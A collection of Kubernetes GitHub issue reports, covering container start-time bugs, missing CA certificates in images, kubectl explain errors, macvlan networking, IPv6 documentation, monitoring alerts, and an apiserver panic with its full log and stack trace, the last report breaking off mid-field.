<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : pod status started null, started, 01 jan 0001\r \r   kubernetes version    use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r   environment  :\r -   cloud provider or hardware configuration  : -\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  :  linux 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : kubeadm 1.6\r \r \r   what happened  :\r when a pod is created and starts running,  kubectl describe pod-name  shows the correct container start time in containers -> containername -> state -> started. after the container is terminated, the start time changes to  mon, 01 jan 0001 00:00:00 +0000 . in addition,  kubectl get pod-name -o json  shows that  status.containerstatuses 0 .state.terminated.startedat  is  null .\r \r   what you expected to happen  :\r i'm expecting the start time to not change after the pod is terminated, so that afterwards i could check how long a time the container execution took.\r \r   how to reproduce it    as minimally and precisely as possible :\r have a running kubernetes cluster, and create a pod with the following command:\r     \r \tkubectl create -f - <<eof\r \tapiversion: v1\r \tkind: pod\r \tmetadata:\r \t  name: sleep\r \tspec:\r \t  containers:\r \t  - name: sleep\r \t    image: ubuntu\r \t    command:  \ sleep\  \r \t    args:  \ 30\  \r \t  restartpolicy: never\r \teof\r \r this created a container that sleeps for 30 seconds and quits. during those 30 seconds, check the pod status with  kubectl describe po sleep :\r \r     ...\r     state:\t\trunning\r       started:      wed, 17 may 2017 10:25:22 +0300\r     ...\r \r after 30 seconds, check the status of the terminated container with  kubectl describe po sleep  again:\r \r     ...\r     state:\t\tterminated\r       reason:\tcompleted\r       exit code:\t0\r       started:\tmon, 01 jan 0001 00:00:00 +0000\r       finished:\twed, 17 may 2017 10:25:52 +0300\r     ...\r \r with  kubectl get po sleep -o json  we see that the container's start time is null:\r \r     ...\r     \ state\ : {\r         \ terminated\ : {\r             \ containerid\ : \ docker://ca0dbe0dab3bb91ad0b05ac167e44d5fbf805f736ef98f61b9e106ba4456667f\ ,\r             \ exitcode\ : 0,\r             \ finishedat\ : \ 2017-05-17t07:25:52z\ ,\r             \ reason\ : \ completed\ ,\r             \ startedat\ : null\r         }\r     }\r     ...\r \r   anything else we need to know  :\r i need to measure container run durations and this bug prevents me from doing so.\r

is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  : head\r \r currently, ca-certificates isn't included in the kube- apiserver|controller-manager|scheduler  images.\r however, ca-certificates are often used in production scenarios  for example on aws and gce where the controller-manager/apiserver might contact other servers via https \r \r the \ solution\  to this problem has been to host-mount  /etc/ssl/certs  to the container, but this is sub-optimal.\r \r i propose to include  ca-certificates.crt  in the server images as the default. most scenarios won't be affected as it's overridden by the hostpath mount. it will help in the scenarios where there isn't such a mount.\r \r while writing this, i can't come up with a scenario where adding ca-certificates will break the deployment.\r instead, it will make installing kubernetes easier  and remove the need for unnecessary host-mounts \r \r @kubernetes/sig-release-feature-requests @kubernetes/sig-testing-feature-requests  @liggitt @david-mcmahon @thockin @spxtr @ixdy @piosz @directxman12 @deads2k @kubernetes/sig-cluster-lifecycle-feature-requests \r \r i can make a quick pr for this for inclusion in v1.7 if you like.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r    \r   kubectl explain apiservices\r error: group apiregistration.k8s.io has not been registered\r    \r \r    \r   kubectl explain customresourcedefinition\r error: group apiextensions.k8s.io has not been registered\r    \r \r   what you expected to happen  :\r  kubectl explain  should be able to explain the above two resources. \r \r print something as below, etc.\r    \r description:\r apiservice represents a server for a particular groupversion. name must be \ version.group\ .\r \r fields:\r ......\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r run the commands above.\r \r   anything else we need to know?  :\r   \r   environment  :\r - kubernetes version  use  kubectl version  : a9bf44101b3ec13a3e94df926c95ba5384d18e28\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r networking: cni with macvlan\r the pods which are deployed are not able to communicate with any service virtual ips, because macvlans dont go through the host system iptables chain rules, which applies dnat in case of iptables proxy\r   what you expected to happen  :\r the iptables list should somehow be injected to the macvlan slave interfaces too\r   how to reproduce it  as minimally and precisely as possible   :\r networking: cni with a macvlan \r create pods and service\r exec into the pod and try to connect to the service ip port map\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.7.5\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :4.4.0\r - install tools:manual installtion\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /area ipv6\r \r   what happened  :\r there is not consolidated documentation / guide available for deployment of kubernetes with ipv6. the information is sparse and not at a single location, so it would be really helpful if all the documentation is compiled in wiki and act as a single stop for anyone trying to deploy kubernetes with ipv6.\r \r   what you expected to happen  :\r complete guide of deploying kubernetes with ipv6.\r list of issues / components which lack ipv6 support right now.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

heapster with influxdb and grafana provides a simple monitoring visualization solution. but alerting is critical to users and providing an off the box monitoring solution that supports alerting will help users. possible candidates include, - google cloud monitoring - prometheus - bosun + influxdb - reimann + influxdb - sensu  there are quite a few other solutions that are not captured here. the goal is to provide a simple monitoring solution, that serves as a reference implementation, and one that kubernetes users can use with minimal configuration.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r the cluster started giving a lot of node deny error in the log corresponding to \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/node/node_authorizer.go l198\r restarting kube-apiserver make another one crash in a 3 apiserver setup.\r  say systemctl restart kube-apiserver on controller-1 will crash controller 2 or 3 \r \r it's as if node were show as  ready  but were not registered anymore?!\r \r   what you expected to happen  :\r the cluster to work as it did the weeks before\r \r   how to reproduce it  as minimally and precisely as possible   :\r i haven't fixed this yet and pod are stock in pending most of the time even after restarting controllers, workers, etc.\r \r   anything else we need to know?  :\r    \r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.350953       1 log.go:172  http: tls handshake error from 172.27.39.86:42434: eof\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.356022       1 log.go:172  http: tls handshake error from 172.27.39.91:41646: eof\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.360645       1 log.go:172  http: tls handshake error from 172.27.39.82:51580: eof\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.365578       1 log.go:172  http: tls handshake error from 172.27.39.86:42436: eof\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.371563       1 log.go:172  http: tls handshake error from 172.27.39.91:41648: eof\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.377407       1 node_authorizer.go:198  node deny: unknown node \ staging-worker-001\  cannot get secret kube-system-monitoring/fluentd-es-token-dblxs\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.392709       1 node_authorizer.go:198  node deny: unknown node \ staging-monitoring-001\  cannot get secret kube-system/weave-net-token-dxhg6\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.409043       1 log.go:172  http2: server: error reading preface from client 172.27.39.92:42038: read tcp 172.27.39.86:6443->172.27.39.92:42038: read: connection reset by peer\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.441335       1 node_authorizer.go:198  node deny: unknown node \ staging-worker-007\  cannot get secret kube-system-monitoring/default-token-2hg82\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.462884       1 controller_utils.go:1034  caches are synced for crd-autoregister controller\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.552797       1 cache.go:39  caches are synced for autoregister controller\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.554138       1 cache.go:39  caches are synced for apiserviceregistrationcontroller controller\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.562426       1 cache.go:39  caches are synced for availableconditioncontroller controller\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : w1108 15:47:33.581930       1 lease.go:226  resetting endpoints for master service \ kubernetes\  to  172.27.39.79 172.27.39.85 172.27.39.86 \r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : e1108 15:47:33.639877       1 memcache.go:134  couldn't get resource list for custom.metrics.k8s.io/v1beta1: the server could not find the requested resource\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : e1108 15:47:33.643202       1 memcache.go:134  couldn't get resource list for metrics.k8s.io/v1beta1: the server could not find the requested resource\r 2018-11-08t10:47:33-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:33.664684       1 storage_scheduling.go:100  all system  are created successfully or already exist.\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : e1108 15:47:34.651498       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/runtime/asm_amd64.s:573\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/runtime/panic.go:502\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:105\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:47\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/server.go:1947\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:39\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/server.go:1947\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/server.go:1947\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/server.go:2697\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/server.go:3263\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/net/http/h2_bundle.go:5475\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:2053\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:2053\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : /usr/local/go/src/runtime/asm_amd64.s:2361\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : e1108 15:47:34.651767       1 wrap.go:34  apiserver panic'd on get /apis/autoscaling/v2beta1/horizontalpodautoscalers?limit=500&resourceversion=0: runtime error: invalid memory address or nil pointer dereference\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : goroutine 8074  running :\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : runtime/debug.stack 0x54819e0, 0xc42ee859d0, 0x3ed4407 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/runtime/debug/stack.go:24 +0xa7\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1.1 0x360fc20, 0x739e7b0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:34 +0x74\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc42fe91cf0, 0x1, 0x1 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:54 +0xc7\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : panic 0x360fc20, 0x739e7b0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/runtime/panic.go:502 +0x229\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc428379c40, 0x54819e0, 0xc42ee859d0, 0xc425fa9800 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:105 +0x404\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withwaitgroup.func1 0x54819e0, 0xc42ee859d0, 0xc425fa9700 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:47 +0xd4\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc424fdf140, 0x54819e0, 0xc42ee859d0, 0xc425fa9700 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:39 +0x181\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc424fdf170, 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x108\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc428379c80, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc424fdf1a0, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189 +0x51\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.serverhandler.servehttp 0xc424005e10, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:2697 +0xbc\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.initnpnrequest.servehttp 0xc422834000, 0xc424005e10, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:3263 +0x9a\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http. handler .servehttp-fm 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/h2_bundle.go:5475 +0x4d\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  serverconn .runhandler 0xc42337ba40, 0xc42d199c80, 0xc425fa8b00, 0xc42590fbe0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:2053 +0x89\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : created by k8s.io/kubernetes/vendor/golang.org/x/net/http2.  serverconn .processheaders\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:1787 +0x46b\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : i1108 15:47:34.651887       1 log.go:172  http2: panic serving 172.27.39.91:46918: runtime error: invalid memory address or nil pointer dereference\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : goroutine 8074  running :\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  serverconn .runhandler.func1 0xc42d199c80, 0xc42fe91faf, 0xc42337ba40 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:2046 +0x190\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : panic 0x360fc20, 0x739e7b0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/runtime/panic.go:502 +0x229\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc42fe91cf0, 0x1, 0x1 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : panic 0x360fc20, 0x739e7b0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/runtime/panic.go:502 +0x229\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc428379c40, 0x54819e0, 0xc42ee859d0, 0xc425fa9800 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:105 +0x404\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withwaitgroup.func1 0x54819e0, 0xc42ee859d0, 0xc425fa9700 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:47 +0xd4\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc424fdf140, 0x54819e0, 0xc42ee859d0, 0xc425fa9700 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:39 +0x181\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc424fdf170, 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x54819e0, 0xc42ee859d0, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x108\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.handlerfunc.servehttp 0xc428379c80, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:1947 +0x44\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc424fdf1a0, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189 +0x51\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.serverhandler.servehttp 0xc424005e10, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:2697 +0xbc\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http.initnpnrequest.servehttp 0xc422834000, 0xc424005e10, 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/server.go:3263 +0x9a\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : net/http. handler .servehttp-fm 0x5476ca0, 0xc42d199c80, 0xc425fa8b00 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/usr/local/go/src/net/http/h2_bundle.go:5475 +0x4d\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  serverconn .runhandler 0xc42337ba40, 0xc42d199c80, 0xc425fa8b00, 0xc42590fbe0 \r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:2053 +0x89\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 : created by k8s.io/kubernetes/vendor/golang.org/x/net/http2.  serverconn .processheaders\r 2018-11-08t10:47:34-05:00 localhost docker/kube-apiserver 1131 :  011/workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/server.go:1787 +0x46b\r 2018-11-08t10:47:35-05:00 localhost docker/kube-apiserver 1131 : e1108 15:47:35.930814       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r 2018-11-08t10:47:35-05:00 localhost docker/kube-apiserver 1131 : /workspace/anago-v1.12.2-beta.0.59+17c77c78982180/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: 